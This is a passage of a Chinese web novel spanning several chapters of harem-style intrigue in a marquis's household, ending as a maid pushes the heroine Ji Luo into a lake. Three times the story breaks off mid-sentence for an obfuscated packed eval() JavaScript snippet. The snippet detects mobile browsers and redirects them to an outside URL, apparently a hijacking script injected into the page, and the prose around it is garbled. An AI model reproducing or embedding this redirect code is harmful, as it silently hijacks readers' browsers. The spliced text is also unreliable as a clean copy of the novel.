他们王家虽与永宁侯府有些亲缘关系,可王家如今落魄,王文成在朝中任的又是闲职,手中本就没什么权力,偏偏又是个极好脸面的。 要他低三下四去求人,他是万万做不来这事。 而王玉盈却是不同。 李氏知晓自己自个女儿的性子,今日听她这样一说,更知她是个有野心的。 如此,此事或许当真值得试上一试。 为了她自个,也是为了王家。 袁家再有钱也不过是个商户,与永宁侯府是远远比不上的。 便只是个侧室,李氏想着,也是好的。 *** 翠盈院是从前王玉盈还未出嫁时住的院子。 因着当初她执意嫁去袁家与家中闹了不快,成婚之后便鲜少有归家的时候了。 这院子便也就一直空置着,直至这次王玉盈和离归家,李氏才令人收拾妥当。 王玉盈踏入院中时四下已经收拾完毕,只是里间光景却不复从前模样。 还未成婚时,她最爱在院中侍弄些花草之类,一踏入院内便能闻着花香,这个时节,她刻意栽下的红梅应当开了的,她的目光下意识移向那处,可却只能看见一片荒芜。 院中的花草早已被铲除得干净,这里虽还是翠盈院,却早已不是她的翠盈院了。 她脚步微微一顿,而后快步走进里间。 嫁给袁庆生是她行差踏错了一步,往后,再不会犯下这种错。 这翠盈院,也不过是个暂时的歇息之处罢了。 进了屋内,里间也还是从前陈设,只是有关于她的东西不多,却只让人感觉空荡。 王玉盈已然不在意了,她吩咐凝芳尽快去请了大夫来。 需得是知根知底又能信得过的。 凝芳将王玉盈未嫁时来王家给她瞧过几回病的周大夫请了过来,这周大夫医术不错,嘴又是严实的,往日还给王玉盈瞧过病,也算有些情份在里头,所以凝芳特意将他请了过来。 周大夫替王玉盈把过脉后微微点了头,“小姐这腹中孩子很是稳妥,并无异样之处,平日只消用些养胎方子便足矣。” “可我这些时日越发见不得荤腥。”王玉盈皱眉,“有时只闻着气味便止不住干呕,周大夫可否帮我开个方子压一压?” “无碍,姑娘这不过是害喜之症罢了,个人身子不同,有些人稍稍严重些也是正常,并无影响的。”周大夫作了解释。 可王玉盈却下意识抓紧了被褥,“不成,我要你给我开一个方子,最好是让我再无这种症状!” 周大夫有些迟疑,“若要如此,这方子里免不了要用些猛药,恐怕是对腹中孩子不太好。” 他并未刻意询问王玉盈要如此做的缘由,只是道明了其中利害。 “无事。”王玉盈的神色却已和缓下来,她几乎未曾犹豫道:“你就给我开这方子罢。” 周大夫虽说意外,可也依旧不曾多问什么,应下之后便很快写了方子递给凝芳。 送走周大夫后凝芳才细瞧了这方子里所写的药材,她虽不通医理,可却也跟在王玉盈身边这么多年,对一些大宅深院里的阴私有所了解,自然瞧出这方子里头当真有好几味药都是对腹中胎儿不好的,一时间也有些迟疑,“姑娘,这方子里确有几味药是不大好的,若是当真用了这方子,您腹中的孩子怕是……” 王玉盈的手下意识落到腹部,她摇头道:“原本这孩子也是不打算生下来的,用不用这方子都无碍,你尽快去抓了药便是,既然要将戏演足了,我便不能在家中久住,怕是明日就要归侯府去的。” 上辈子她腹中的这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319063|167390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子平安顺遂地生了下来,是个很漂亮的小姑娘,彼时她当然是极为疼爱的,只是后来袁家出了事,袁庆生再被判流放之刑时只得将尚且年幼的孩子托付给了友人,再后来她流放途中丢了性命,便再也没见过这个孩子。 想来那孩子后来的日子也并不会好过。 即便袁庆生与她再三言明,说是信得过的友人,可那又如何?到底是寄人篱下,一辈子都被人家拿捏在手中。 她想,这辈子便不要将这孩子生下来了,不来到这世间,也能少受些苦楚。 凝芳默了默,到底没再多说什么了。 夜里,王玉盈喝了这方子炖的汤药才睡下,第二日晨起时特意了令凝芳端了一碗肉汤过来,她闻着虽依旧有些不适,但至少没了干呕的冲动,如此,便足矣瞒过永宁侯府的人。 王玉盈简单做了收拾之后便向李氏道别。 李氏知晓了她的谋算,今日见了她也没多说什么,只嘱咐了几句让她照顾好自己的话便送她出了府。 至于王文成与王绍,王玉盈并未刻意与他们道别,他们也未曾前来相送。 王玉盈知道这都是李氏费心的安排,若非昨日她与李氏讲明了原委,又刻意提了此事对于王家,对于王绍的好处,也算得了李氏的肯允,今日她即便只是要离开,恐怕也不会这样容易。 不说王文成,只是王绍怕都不会肯让她就这样走了。 定是要缠着她再去与袁庆生和睦如初的。 届时她即便去了永宁侯府,也总还是免不了麻烦。 如今提前与李氏做了交代,她也能省心许多。 车马大约行了半日便到了永宁侯府,王氏听王玉盈说了王家人对此事的态度,又不免更是心疼她,“到底是自己的女儿,怎么就能这般狠下心来,竟还要再逼着你往火坑里跳。” 王玉盈落泪的姿态已很是娴熟,她还未开口泪珠子便已经落了下来,之后再哽咽着开口又令人不免多怜惜她几分,“父亲与母亲都念着袁家的好,觉得袁庆生虽只是何商户,可到底生意做起来了,往后对王家也能有所帮衬,所以始终不肯应下这和离之事。” 她拿帕子抹了眼泪,又接着道:“我原想着放妻书都下来了,父亲与母亲即便心里不欢喜,也总不好再强逼着我如何了,可不想他们却令我再去央求那袁庆生,说若是我不能了了此事,便只当没了我这个女儿。” 说到此处,她止不住伏在王氏怀中恸哭,“姑母,如今……如今我是当真没了去处了。” 王氏将她这副模样,自然心疼得不行,忙道:“好孩子,你往后就住在姑母这儿,姑母只当你是自家女儿,往后再遇良人,姑母也为你操持婚事,定不让你再受苦。” 王玉盈哽咽着应下,“多谢姑母,若非姑母,阿盈当真不知该如何是好……” 王氏又连连说了好些宽慰的话,如此才让王玉盈止住了眼泪。 两人正说着话,王氏的贴身婢女秋和却进来禀报,说是纪萝与赵倩桐竟是一同到了。 王氏觉得奇怪,便多问了一句,“她们二人素来不对付,今日怎会一同过来?” “夫人面上瞧不出什么来。”秋和回忆着方才瞧见的景象,又道:“只是小姐瞧着脸色不大好,好似才发了脾气。” “对,夫人身后的婢女芸枝手中还拿着些物件,奴婢瞧着……像是账册之类。” 9. 第九章 库房传来消息时纪萝才用过早膳。 因着她刻意吩咐过库房那边的人,若是赵倩桐再要支大数额的银子便要先来同她禀报,等她点了头才能将银子给了,所以在赵倩桐再度要支这样一笔银子时,库房那边的人却是无论如何也不肯松了口。 赵倩桐自然气急,“我自个家中的银子我还不能用了?你一个下人竟敢管到我头上来?” 底下人自是不敢得罪了这位小姐,只得越发低声下气得解释着,“夫人提前叮嘱过我们,若是小姐再来支大额的银子却并不言明用于何处,便定要先向夫人禀报了才成,还望小姐稍候,容奴婢先去青萝院向夫人禀报。” “当真可笑!”赵倩桐被气得冷笑一声,“她不过管了府中的账务,难道还当真以为自个是侯府的主子了,竟还想这般管束于我?” 又恨恨道:“好,那我便与你们一同去一趟青萝院,我倒要看看她如何解释!” 说罢,便气势汹汹地到了青萝院,颇有要与纪萝对质一番的意思。 纪萝早知会有这一遭,所以听得下人禀报时神色倒并未有什么变化,只是一旁芸枝却有些不安,“姑娘……” 赵倩桐向来是不好说话的性子,她这番前来更好似要来兴师问罪的,怕是有些麻烦。 纪萝知晓她心里担忧,安抚似的轻轻摇了摇头,又道:“你去将这几日的账册拿来。” 芸枝还欲说些什么,可见纪萝神色笃定,也只能应下。 赵倩桐却已是满脸怒火地走了进来,“纪萝,你凭什么不让库房的人给我支银子?” “这个月才不过二十。”纪萝淡淡道:“一百两一次的银子,你已经是支了三回。” 赵倩桐冷哼一声,“那又如何?侯府是我家,我自个家中的银子,难道我还使不得了?” 纪萝没有反驳,只道:“侯爷将府中中馈交与我,府中每一笔支出皆是应当记录在册,如此年底母亲若要对账,也好一一查验。” 她不提自己,却将王氏搬了出来。 如此便也说明此事并非她有意为难,只是侯府的账册却是要过了王氏的眼的,她不得不用心些。 “我昨日恰好瞧上了一对钗子,今日想去将它买来,故支了这一笔银子。”赵倩桐颇为不耐烦地解释着,“你依着我的话如实记下便好。” 这已是算赵倩桐让了步。 可纪萝却问道:“是上京哪家铺子?是何种样式的钗子,能有百两这样的卖价,想必不是俗物罢。” 她问得细致,赵倩桐原本就不过是随意编造的谎话,这会儿那里能答得上来? 只能反问道:“你问这样多做什么,与你有什么干系?” 纪萝于是再耐着性子同她解释,“既是要记到账册里的自是要问清楚,若是底下人随意编造了由头就要支银子,我却由着他们如此,时日久了,侯府里进账的银子怕还没有支出的多,岂非要出大事?” 她说得认真,话语中也颇有几分道理,让赵倩桐都不由一愣,可后头回过神来,却更是发了脾气,“我是侯府的主子,那里能与下边人相提并论?你这话的意思可是说我只是胡乱编造了由头?” 说到此处,她越发恼火,“你既说是母亲的意思,那我们便一同去见了母亲,看看母亲如何说便是!” 王氏向来是不喜纪萝的,赵倩桐如此说,便是吃准了纪萝并不会愿意将此事闹到王氏跟前去。 毕竟这事只要闹到王氏跟前,不管谁是谁非,纪萝总是落不着好的。 可不想纪萝却半句话也不曾多说,只起身道:“那便走罢。” 话已说到这份上,赵倩桐不好不去,她憋着一肚子的火气,恨恨道:“好,那便等着看母亲可会听你的!” 说完,一转身出了远门。 芸枝正在此时匆匆拿了账册进来,撞见赵倩桐脸色很是难看得走了出去,一时更是担心,“姑娘,倩桐小姐这是……” “走罢。”纪萝叹了口气,“去华庆院走一趟。” 华庆院。 王氏正听着秋和禀报,赵倩桐已是推门走了进来。 她见王玉盈也在,虽有些意外,可却也只唤了声“表姐”,而后便向王氏埋怨起来,“母亲,难道如今咱们侯府竟是纪萝她来做主了?即便是我要支一笔银子都要得了她的肯许,哪里有这样的道理?” 王氏听着这话不由皱眉,“你要用银子只管拿了用就是,你是侯府的主子,哪里轮到向她请示?” “我也正是如此说。”听王氏这般说了,赵倩桐话语间更是有了底气,“可库房那些奴才得了她的授意,竟是无论如何也不肯松口,还说什么要等纪萝答应才将银子给了我,岂非可笑?” 王氏听着这话脸色也越发不好,她知纪萝正在外间等着,于是向一旁秋和道:“让纪萝进来,我倒是要好好问问她,这侯府难道当真是她做主,如今是倩桐支银子要过了她的眼,再往后岂非是我这个老东西支银子,也得她点了头?” 秋和不敢耽误,连忙应着去将纪萝引了进来。 纪萝才一进来,王氏便冷哼一声道:“听说如今这永宁侯府,却是你来当家作主的了?倩桐想支一笔银子都得你应下了才成?” 赵倩桐有人撑腰,这会儿看向纪萝的目光中也不由多了几分得意。 王玉盈却依旧是一副低眉顺眼的模样,只是心里却不知如何作想。 王氏的话说得难听,任凭何人劈头盖脸被盖了这样一顶帽子一开口怕都是要先为自己喊冤的,可纪萝却没有急着反驳,只让芸枝拿了账册过来,而后翻开其中两笔账目呈给王氏,道:“这样一次一百两的银子,倩桐这个月已经向库房支了两回了,今日是第三回,而且这两笔银子并未说明用处,所以我特意叮嘱了库房,若是倩桐再要支银子,便来青萝院知会我一声……” 纪萝的话还没有说完,赵倩桐便止不住打断道:“这与银子多少有什么干系?不论银子多少,你都没有资格管束于我!” 王氏点头,“银子多少是一回事,倩桐是侯府的主子,她要支银子哪里需过了你的眼?” 无论赵倩桐还是王氏言语之间对纪萝的贬低之意都未曾掩藏,即便是当着王玉盈这个外人在,她们也并未曾有要给纪萝留些颜面的意思。 “母亲可曾看过这账册。”纪萝看向王氏手中那本账册,“这其中写明了侯府每日支出,每月初还清算了上月支出明细,其中府中每个院子的支出也都有写明,自然外头几个商铺的入账也有记录其中。” “这个月,倩桐院中的支出比我与母亲院中加一块都要多些,其中做了两套衣裳,买了三回首饰,价格皆是不菲,这倒是不算什么,只是除却这些,倩桐却还支了两笔一 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她张口正想问些什么,但纪萝却已开口解了她的疑惑,“这里边每一笔账都可寻了花费的所在一一对上,若母亲觉着哪里数目不对,儿媳可将人寻来对质一番。” 账册里每一笔账纪萝都用心核对过,自然是不会有错漏支出,倒也不惧王氏要查。 王氏没料到纪萝竟是这般条理分明地与她说清了侯府的支出用度,偏偏算下来赵倩桐使银子确实是大手脚,纪萝或许不当管束,但亦是为了侯府考虑,又哪里能挑出错处来? 纪萝一番话下来,屋内早已变了局势。 哪怕赵倩桐向来是无理也定不会肯认的性子,这会儿也实在说不出话来。 王玉盈心下也颇有些意外。 她原以为纪萝是个忍气吞声的软弱性子,想要对付起来也并不难,如今看来倒并非如此。 看来若当真要嫁进侯府,还是需得费些心思,她腹中孩子如今还未显怀,便要借着这个时机尽早筹谋才是,否则月份大了,就越是容易让人觉出异样来,倒是怕就难了。 她如此想着,又听王氏道:“倩桐,你与我说,你与我说你支这两笔银子到底是要用于何处?” 王氏虽知此番是赵倩桐的问题,但也依旧没说重话。 赵倩桐正想说是用来买首饰的,可刚要开口却又想起纪萝问的那几个问题,自然不敢再如此说,只气恼道:“不想母亲你也向着她,好!看来如今侯府当真是她来做主了!” 说罢,恨恨地转身走了。 王玉盈心下正算计着,见赵倩桐离开,便向王氏道:“姑母,表妹如今正在气头上,我过去宽慰她几句罢,想来她会明白她自个的错处的。” 王氏也被赵倩桐这般性子气得不行,见王玉盈这般温顺懂事,心下才稍稍好受些,颔首应道:“你去罢。” 王玉盈走了之后王氏合上手中账册,又看向一旁纪萝,“过两日便是沈老夫人寿诞,那寿礼你既说已经备好,等到当日便令人好生奉上,切不可出了岔子,失了我们侯府的体面!” 纪萝应着,王氏又垂下眸子撇了一眼她的腹部,皱眉道:“你这些时日也多用些心思在承嘉身上,好歹你们也成婚三年有余了,肚子却还没动静,这如何能行?” 纪萝还未应答,王氏却已失了耐心,颇有些疲累的摆摆手道:“行了,你也下去吧。” 纪萝此番目的已经达成,便也没有多说,只行礼退下。 10. 第十章 赵倩桐很是气恼地出了华庆院,一路上口不择言地说了好些难听的话,就连身侧婢女怡宁听着都禁不住小心提醒,“姑娘这话可不能乱说,若是传到老夫人耳中,听了怕是要伤心的。” 王氏向来对赵倩桐很是纵容,只要她有想要的,王氏便几乎没有不应着的时候。 只是今日这一回纪萝将其中利害说得分明,王氏即便心依旧是偏向赵倩桐,可却也不能不为侯府的利益考虑。 但赵倩桐却并未细想什么,只觉得王氏不帮着自己这个亲生女儿,反而帮着纪萝,自是少不了有些怨言。 赵倩桐听着怡宁这话,心头的那阵火气还并未压下来,所以口中言语依旧没有收敛,反而道:“我这话又不曾说错,母亲这般,才是真正寒了我的心!” “倩桐表妹。”王玉盈恰好在这时远远得叫住她。 赵倩桐停了脚步,转头便见王玉盈匆匆走过来,不由皱眉,“表姐是过来给母亲当说客的?” 赵倩桐与王玉盈的关系其实并不算好。 当初王玉盈还未嫁时,确实在永宁侯府住过一段时间,那时她与赵承嘉的那段情事,赵倩桐是隐约知晓的,也正因如此,后来王玉盈执意与袁庆生成婚,在赵倩桐眼中,这便算是背叛了自己的兄长了。 如此,对王玉盈自然颇有些不满。 不过后来时日久了,赵倩桐见兄长似乎对当初的这一段情事也早已放下,所以便也没再计较。 只是对王玉盈却还是颇为不喜。 这会儿她心情本就不好,说话自是更不会客气。 听赵倩桐如此说,王玉盈面上的笑意僵了一瞬,又很快缓和下来,“表妹这可是误会了,我过来是想着与表妹许久未见了,这番遇上,正好也说说话。” 赵倩桐却并未给她好脸色,一开口便道:“我与表姐也没什么旧情,便不必在这浪费时间了吧?” 说罢,转身就要走。 可王玉盈却上前拦了她的去路,道:“我只是觉得表妹如今在侯府的日子也不好过,所以过来给表妹提个醒罢了。” “你这话什么意思?”赵倩桐冷冷盯着眼前人,脚步却到底是停了下来。 王玉盈也没再卖关子,直言道:“今日之事我也是看在眼里的,表妹可谓是受了不小的委屈,要知从前姑母对表妹向来是无有不应的,今日这桩事原本也不算大事,偏偏却闹到了这般地步……” 王玉盈的话还未说完,赵倩桐便冷声道:“还不是因为那纪萝,母亲竟也被她蒙蔽,任凭她三言两语便被糊弄住了,还当真要由着她这般嚣张!” 她越说着,又更是气恼,“母亲当真是老了,竟连这些手段也分辨不出!” “看来表妹也瞧出来了,那纪萝是有些手段的……”王玉盈顺着这话往下说。 可赵倩桐却想到什么,眼底露出几分嫌恶之色,“纪萝虽不是个好的,可表姐你却也好不到哪里去,你在我面前说这些话,总不会以为若是这纪萝与我兄长和离之后,会同你再有牵扯罢?” “堂姐才和离就打起这种主意来,不会是早生出了这念头,所以才一门心思要与你前头那夫君和离的吧?” 她的话说得直接,也难听,更是戳中了王玉盈的心思。 可王玉盈自然是不会认的,她连忙摇头道:“表妹这说的是哪里话,我只是见表妹受了这般委屈,一时看不过眼去,这才过来提醒。” 赵倩桐方才那般说倒不是当真觉得王玉盈会有这般心思,毕竟即便她当真有这心思,这事也是万万成不了的。 不说旁人,即便是看起来好似极为疼爱她的王氏,若知她有这念头,也是定然不会容下她的。 赵倩桐说出那般话来,不过只是故意想让王玉盈难堪罢了。 眼下听得王玉盈一番解释,她也没了兴致,瞥了王玉盈一眼道:“行了,我也没空与你在这纠缠,你到底想说什么直接说便是。” 王玉盈看了看左右,向前一步又刻意压低了声音道:“表妹不觉得,如今这纪萝在侯府,地位倒是一日比一日稳固了?” 赵倩桐神色一顿,又听得王玉盈道:“若是我不曾记错,从前这纪萝在侯府可是没什么地位的,姑母瞧不上她,侯爷对她也算不上热络,如今她管着府中中馈还不算,甚至管到了表妹头上,偏偏连向来不喜她的姑母也偏向于她,如今这纪萝可连个孩子也没有,若是往后生下侯府的嫡子,这侯府可就真真是由着她来当家作主了!” “她敢?”赵倩桐声音里虽是不屑,可眼底却隐约有几分不安,显然是将这话听了进去。 王玉盈自然也瞧出她已是信了自己几分,于是道:“她敢与不敢表妹今日不都已经见识过一番了么?” “表妹不过支了一笔银子,她便拉着你到姑母跟前对质,她只是看着好似是个性子乖顺的,可骨子里却满是算计,眼下她便敢这样管束你,往后生下孩子,怎会当不得侯府的主?” 赵倩桐听完这一番话,面色已是难看至极。 王玉盈看在眼中,知晓此事急不来,有些话只消点到为止便已经足够,若是说得太过明显,反而要惹人怀疑。 于是叹了口气,道:“我倒是不要紧的,左右也不可能当真在侯府久住,只是想着偌大的侯府若当真被她把控,怕是姑母也不会舒心,姑母对我又是最好,所以想着无论如何还是要与表妹说一声。” 说罢,她微微拂了一礼,“既然话已说完,便不叨扰表妹了。” 王玉盈走了之后,赵倩桐却是在原地站了一回才转身回去。 王玉盈方才那几句话说得很是巧妙,先是撇清了自己的关系,而后又提及王氏,算是为此番她刻意过来提醒寻了个不错的理由。 如此,便让赵倩桐没理由对她生疑。 “纪萝如今……在侯府的地位是一日高过一日了。”赵倩桐想着王玉盈方才的话,不由得有些出神。 一旁怡宁听了这话,连连点头道:“奴婢觉得表小姐说的话也没错,那纪氏才入侯府时哪里有如今这般风光,后来她母亲出了事,她的地位就更是一日不如一日,侯爷便罢了,只说老夫人,何曾正眼瞧过她,可如今呢,竟是为了她开始数落您的不是了!” “若是当真生下嫡子,想必老夫人对她又会改观几分,到时候可还了得?” 方才王玉盈说那一番话时怡宁也是听着的,也当真觉得那话说得有理,是真心在为自家小姐考虑,为侯府考虑的。 赵倩桐捏住锦帕的手不由用了些力气,半晌,她道:“是得想个法子治一治她。” *** 沈老夫人寿宴当日,永宁侯府包括赵承嘉在内都一同去了。 原本王氏想着让王玉盈也去,“你在侯府闷了这几日,难得有机会出去外头走一走,去散散心也好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319065|167390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 又想起什么,笑着道:“今日沈老夫人寿宴,沈国公府的宴席,上京身份显贵些的都是要去的,你若是去了也正好借着这个机会相看相看,若有合适的能定下来也是好事。” 王氏说这话时赵承嘉也正在一旁,王玉盈有意无意地看了他一眼,见他神色如常,仿佛不曾听到王氏所言一般,心下不由有些酸涩,可面对王氏,依旧还是勉强挤出笑意来摇了摇头,“姑母,我现下还没有这种心思,况且我才和离不久,若是去参加寿宴,与沈国公府又素无往来,怕是有些不好。” 沈国公府这样的门第,王家自然是够不上的,不说旁的,此次沈老夫人的寿宴,王家就并不在邀请之列。 但若是要说王玉盈不想去这寿宴,其实也是假话,毕竟是往日的王家也攀不上的勋贵,后来她嫁去袁家之后,身份地位更是不如从前,眼下有这机会,她怎会不想去? 只是她前几日方才与赵倩桐说了那一番挑拨之言,心下也大约知晓赵倩桐若是将她说的那些话听进去了,那大约是会在这寿宴中有些动作的。 如此,她便更不当去了,否则如何能撇清干系? 王氏听着这话好似也有些道理,于是便也没再勉强,只道:“那你在家中好生歇息。” 而后便与众人一同上了马车。 王玉盈目送马车远去,又在侯府门口立了一会才回了府。 等永宁侯府一行人到了沈国公府时已是半个时辰后,便先去见了沈老夫人,又将备下的寿礼献了上去。 纪萝备下的这份寿礼是用了心思的,也使了不少银子,沈老夫人近来身子不好,听说永宁侯府备下的是一株千年灵芝,也微微颔首,对王氏道:“你有心了。” 这千年灵芝是稀罕物件,若说贵重或许比不上宾客中送来的南海珍珠,白玉如意一类,可恰遇上沈老夫人身子有恙,送这灵芝便显得多了几分用心。 沈老夫人自然欣慰。 沈国公府门第极高,沈老夫人膝下虽唯有一子一女,可女儿却是当今太后,而儿子袭国公的爵位,亦是在朝中任了官职。 所以沈老夫人自是身份贵重,便是当今天子到了,在她面前也是要唤一声外祖母的。 永宁侯府虽也算上京勋贵,可不仅爵位上低了一等,光是有沈太后这个倚仗,沈国公府便是上京第一等的尊贵,自是永宁侯府比不上的。 王氏其实因着宴席的缘故来过沈国公府几回,但在沈老夫人面前是向来说不上话的,这会儿得了沈老夫人这一句夸赞,心下自然欢喜得不行,忙道:“老夫人的事我们这些后辈自然是要用些心的,您喜欢便是好的。” 如此一番客套才转而告退。 出了房门,赵承嘉被请去男子席中,王氏便看向纪萝,少见的夸赞了她一句,“今日你这事办得不错。” 纪萝垂下眸子,也未邀功,只道:“这是儿媳应当做的。” 许是纪萝今日让王氏得了脸面,她对纪萝便也和颜悦色许多,道:“我带你与倩桐去想诸位夫人请安。” 纪萝应着,赵倩桐的脸色却越发不好,她想起那日王玉盈所言,越发觉得这话说得有些道理。 母亲眼下越发认可纪萝,等她生下嫡子她的地位就更是撼动不得。 定要想个法子让她出些差错才成,如此,才能让母亲明白,这纪萝到底是小门户出来的,总还是靠不住的。 11. 第十一章 纪萝与赵倩桐跟着王氏在那些夫人面前见过礼之后便让她们二人去同一些平辈的夫人小姐说话,而王氏便与几个素日有交情的夫人说起话来。 几位夫人都有打牌打发时间的习惯,王氏也颇善于此道,即便是遇上不相熟的,几句话之后也都热络起来。 纪萝去与几位平辈的夫人小姐说了会话,一转头却再没瞧见赵倩桐了。 “可瞧见倩桐了?”纪萝向芸枝问了一句。 芸枝问言亦是左右看了看,“方才还瞧见在与哪位小姐说着话,这会儿却是不知到何处去了。” 说着,她恰好瞧见一道鹅黄色身影与几个小姐绕进了园子的另一侧,想起赵倩桐今日穿着正好是鹅黄的衣裙,于是抬手指了指道:“是去那边园子赏花了罢,方才好像瞧见了。” 纪萝顺着她手指的方向看去,却并未瞧见赵倩桐。 芸枝知晓她担心,又道:“倩桐小姐来这沈国公府的次数怕是姑娘的一倍还要多些,来的这些世家小姐中也多是与她相熟之人,姑娘难道还担心她迷了路不曾?” 这话也有些道理,纪萝于是安定下来。 可不想正在这时候一婢女满脸慌色地走到纪萝跟前,不等纪萝开口问便先行礼禀明了身份,“奴婢是倩桐小姐身边的婢女怡宁。” 怡宁是素来跟在赵倩桐身边的,纪萝自是认得她这张脸的,于是问她,“这是怎么了?可是出什么事了?” “我家小姐她一转眼就不见了。”怡宁急得好似要哭出来,“方才人还在的,只一打眼功夫,就瞧不见人了!” 芸枝想起才瞧见的那道身影,便道:“好似往园子那边去了,你可过去寻一寻。” 可怡宁却摇头道:“奴婢方才已经绕了一圈了,却还是未寻着人,老夫人还提前嘱托了我,说小姐的性子莽撞,切勿要盯着小姐,这国公府不比寻常地方,若是出了岔子,丢的可是我们侯府的脸面,可偏偏这一下竟是连人都寻不着了!” 纪萝见她神色慌张,也四处瞧了瞧,沈老夫人寿宴,来贺宴的人自然不少。 一眼望去,模样尊贵的夫人小姐不知凡几,确实是不曾见着赵倩桐身影的。 “这会儿也不好叨扰了国公府的人,反而将事情闹大。”怡宁垂下头,继续将早已准备好的说辞说出了口,“芸枝姐姐不是说方才瞧见了我家小姐,不若帮着我寻一寻,实在不成再向老夫人禀报,也省得老夫人怪罪。” 芸枝听着这话本要答应,可想到纪萝身边只带着自己一人,又不免有些担心,“可是夫人这儿……” “无事。”纪萝并未多想,只觉得现下将人先寻回来才最要紧,赵倩桐那性子,惹出祸事来还真并非没有可能。 听得纪萝应下,芸枝便带着怡宁往园子方向去了。 纪萝正想着要不要去另一边看看,却有夫人上来搭话,纪萝认得此人,正是礼部侍郎的夫人,纪萝与她虽不甚有交情,可她既然主动上前来搭话,纪萝也不好不应,于是便与她闲谈了几句。 等她走了,纪萝再向方才那个方向瞧去,却是瞧不见芸枝她们二人身影了。 “夫人。”又婢子匆匆过来向纪萝行了一礼,“老夫人那边唤您过去,好似是寿礼出了岔子。” “怎么会?”纪萝脸色微变,若是如此可是大事。 不过那份寿礼她在出侯府之前就检查过数回,送到沈老夫人面前时又检查过一回,按理来说是无论如何都不至于出了岔子的。 而来传话的这婢子也是个面熟的,纪萝往日去华庆院请安时曾见过她几回,隐约记得好似是唤作湘桃的,这回来沈国公府王氏身边多带了几个婢子,其中便有她。 湘桃着急得不行,“奴婢亦不知到底是什么缘故,只瞧见老夫人被下了面子,这会儿正发了火,令奴婢快些将您带去问明白。” 这事不好耽搁,寿礼的事情筹备好了,整个永宁侯府上下都沾了光,若是出了事,便就是纪萝一人的过错了,所以纪萝没法推脱,只能点了头,“带路吧。” 湘桃应着,引着她绕开一众夫人小姐,沿一条石子小道行进。 等沿着小道走到尽头,湘桃却又带着她继续绕开一片假山往里走时,纪萝皱眉停下了脚步,“母亲这是在哪里?” 湘桃确实已经引着她走了好一段路了,她虽来过沈国公府几回,但多是在前厅与那些夫人小姐说话,却是不曾来过此处,而湘桃却依旧自顾自带着她往里间走,再加之芸枝此时不在,颇有几分被支开的意味,所以心下怀疑也是正常。 只是这湘桃确实是王氏身边的人,而方才的怡宁更是赵倩桐的贴身婢子。 若说恩怨,赵倩桐与她确实有些不合,可今日到底是沈老夫人的寿诞,她即便有心要报复,也不当在这个时候。 届时她出了什么事,永宁侯府亦是失了脸面,这样的道理,她应当明白。 如此,纪萝确实想不通眼下到底是怎么回事了。 湘桃听她如此问,心下其实是有些慌乱的,她勉强解释道:“存放寿礼的库房在这边,沈老夫人底下的人也正是在库房处发现这寿礼有些不对,老夫人如今也正在那边。” 听了这话,纪萝便确定了她撒了谎。 宴席的贺礼哪里有席还未散,就放入库房的道理。 只要稍稍有身份的,宴席中受到的贺礼怕都不会少,清点起来更是极耗时间,怕是得费个几日功夫才能尽数清点放入库房,而沈国公府更是不必多说。 想来那些寿礼此时应当暂放在沈老夫人院中才是。 这湘桃大约也是已经有些慌了神,所以并未细思自己话语中的漏洞,只想着不能耽误了时辰,见纪萝迟迟未有动作,又忙再催促道:“老夫人原本便因着这是发作了一番,这会儿怕是已经等得着急了,您还是快些过去罢。” 纪萝假意点头,可才行了两步,她便佯装腹痛,“湘桃,我腹痛得厉害,你且在此处稍等我片刻。” 说罢,她转身要走。 可湘桃心下也知纪萝怕是已经起了疑心,这会儿听她说要走,自是不敢让她就这般离开的,于是道:“夫人还是稍稍忍耐下吧,老夫人等得久了,怕是更要怪罪于您。” 纪萝还想栽说什么,可湘桃目光直直地落在她身上,似乎生怕她跑了一般。 到了这会儿,两人都似乎各自明了对方的心思,只是都还不曾戳破罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319066|167390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 纪萝无法,只得勉强点了头,继续跟着湘桃往前头,但一路上却一直在寻离开的契机。 偏偏这会儿她们已经绕进里间,而来往宾客大多都在前厅用着茶水点心,就连下人也多是在前边侍奉,竟是寻不着能帮上忙的人。 又往里间行了一段路后,纪萝瞧着前边正是一处湖泊水榭,而两侧皆有高耸的亭台楼阁,若是再往前便只有低矮的园子遍布在小道两旁,再寻不到合适的遮蔽之处了。 想到此处,纪萝趁着湘桃一时不注意,提起裙摆转身便跑。 湘桃原本就时时提防,一见纪萝竟是要跑,连忙追了上去。 她原本在华庆院是个做粗活的,后来因着做事利索才一步步被提拔到了王氏跟前来。 可到底做了许多年粗活,力气却是比寻常女子要大上许多的,她追上纪萝,伸手便要去拉扯纪萝的衣袖,纪萝惊惧之下往后退了几步,而湘桃也不知如何作想,竟是用了些力气,索性将纪萝推进了湖里。 